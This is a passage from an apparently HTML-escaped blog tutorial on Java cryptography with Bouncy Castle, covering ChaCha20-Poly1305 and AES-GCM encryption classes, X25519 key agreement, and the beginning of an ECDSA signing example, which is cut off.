    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="nf"&gt;processCipher&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;forEncryption&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;ChaCha20Poly1305&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ChaCha20Poly1305&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;init&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;forEncryption&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ParametersWithIV&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;KeyParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;),&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;

        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getOutputSize&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;)];&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;processBytes&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;doFinal&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;InvalidCipherTextException&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;IllegalStateException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Cipher operation failed"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;AesGcmCipher&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="no"&gt;GCM_NONCE_LENGTH&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="no"&gt;GCM_MAC_SIZE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;128&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="nf"&gt;encrypt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;processCipher&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="nf"&gt;decrypt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;encrypted&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;processCipher&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encrypted&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="nf"&gt;processCipher&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;forEncryption&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;GCM_NONCE_LENGTH&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;IllegalArgumentException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Invalid nonce size for GCM: must be "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="no"&gt;GCM_NONCE_LENGTH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;" bytes."&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="nc"&gt;GCMBlockCipher&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;GCMBlockCipher&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;AESEngine&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
        &lt;span class="nc"&gt;AEADParameters&lt;/span&gt; &lt;span class="n"&gt;parameters&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;AEADParameters&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;KeyParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;),&lt;/span&gt; &lt;span class="no"&gt;GCM_MAC_SIZE&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;init&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;forEncryption&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;parameters&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;doFinal&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="nf"&gt;doFinal&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;GCMBlockCipher&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getOutputSize&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;)];&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;processBytes&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;doFinal&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;InvalidCipherTextException&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;IllegalStateException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Cipher operation failed"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In practice, symmetric algorithms are more efficient and faster than asymmetric algorithms, so asymmetric algorithms are often used to &lt;strong&gt;exchange&lt;/strong&gt; symmetric keys or &lt;strong&gt;establishing&lt;/strong&gt; a shared symmetric key. This is where cryptography based on &lt;strong&gt;elliptic curves&lt;/strong&gt; comes into play:&lt;/p&gt;

&lt;h3&gt;
  
  
  Elliptic Curve Cryptography (ECC)
&lt;/h3&gt;

&lt;p&gt;One of the main uses of ECC is Elliptic Curve Diffie-Hellman (ECDH), which allows two parties to securely agree on a common symmetric key thanks to the mathematical properties of curves. This key is then used to encrypt the data using the faster and more efficient symmetric algorithm we described above. One of the most popular curves for this task is &lt;strong&gt;Curve25519&lt;/strong&gt; (also known as &lt;em&gt;X25519&lt;/em&gt;):&lt;/p&gt;

&lt;p&gt;The concept is simple. Each side generates its own key pair: a private key and a public key. The private key remains secret and the public key is passed to the other party. Each party then uses its private key and the opposite party's public key to compute a shared secret.&lt;/p&gt;

&lt;p&gt;The computed shared secrets will be the same for both parties, but for an attacker who does not possess the private key of either party, the secret will remain unknown. Elliptic curve key exchange is based on a mathematical operation called &lt;strong&gt;scalar multiplication&lt;/strong&gt;: the client multiplies the server's public key by own private key, and the server multiplies the client's public key by own private key. Due to the peculiarities of curve math, the result of the multiplication will be the same. This is the &lt;strong&gt;shared secret&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In fact, we meet this algorithm every day, the same principle is used to exchange keys between client and server when establishing &lt;strong&gt;TLS&lt;/strong&gt; connection.&lt;/p&gt;

&lt;p&gt;The implementation of ECDH in Java is very simple, using Bouncy Castle. In the example, we will just generate keys for both parties (the client and server in practice do not know each other's private keys), and calculate the Shared Secret:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ECDHKeyAgreementExample&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;SecureRandom&lt;/span&gt; &lt;span class="no"&gt;SECURE_RANDOM&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="no"&gt;SECURE_RANDOM&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;SecureRandom&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstanceStrong&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;NoSuchAlgorithmException&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;IllegalStateException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;X25519PrivateKeyParameters&lt;/span&gt; &lt;span class="n"&gt;clientPrivateKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;X25519PrivateKeyParameters&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;SECURE_RANDOM&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;X25519PrivateKeyParameters&lt;/span&gt; &lt;span class="n"&gt;serverPrivateKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;X25519PrivateKeyParameters&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;SECURE_RANDOM&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="nc"&gt;X25519PublicKeyParameters&lt;/span&gt; &lt;span class="n"&gt;clientPublicKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clientPrivateKey&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;generatePublicKey&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="nc"&gt;X25519PublicKeyParameters&lt;/span&gt; &lt;span class="n"&gt;serverPublicKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;serverPrivateKey&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;generatePublicKey&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

        &lt;span class="c1"&gt;// Both of them are same&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;clientSharedSecret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;agreeSharedSecret&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;clientPrivateKey&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;serverPublicKey&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;serverSharedSecret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;agreeSharedSecret&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serverPrivateKey&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;clientPublicKey&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="nf"&gt;agreeSharedSecret&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;X25519PrivateKeyParameters&lt;/span&gt; &lt;span class="n"&gt;privateKey&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;X25519PublicKeyParameters&lt;/span&gt; &lt;span class="n"&gt;publicKey&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;X25519Agreement&lt;/span&gt; &lt;span class="n"&gt;agreement&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;X25519Agreement&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;agreement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;init&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;privateKey&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;sharedSecret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;];&lt;/span&gt; &lt;span class="c1"&gt;// length of key&lt;/span&gt;
        &lt;span class="n"&gt;agreement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;calculateAgreement&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;publicKey&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sharedSecret&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;sharedSecret&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When we talk about elliptic curves, we have a private and public key pair, right? So we can use the private key to &lt;strong&gt;sign&lt;/strong&gt; the data, and use the public key to verify its integrity. So we can create signatures using &lt;strong&gt;ECDSA (Elliptic Curve Digital Signature Algorithm&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ECDSAExample&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;SecureRandom&lt;/span&gt; &lt;span class="no"&gt;SECURE_RANDOM&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="no"&gt;SECURE_RANDOM&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;SecureRandom&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstanceStrong&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;NoSuchAlgorithmException&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
